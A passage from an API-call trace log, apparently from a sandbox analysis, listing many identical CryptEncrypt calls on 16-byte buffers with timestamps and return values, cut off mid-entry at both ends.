hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.406] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.406] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.406] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.406] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.406] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.406] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.406] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.407] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.407] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.407] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.407] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.407] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.407] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.407] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.407] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.407] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.407] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.407] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.407] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.407] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.407] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.407] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.407] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.408] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.409] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, 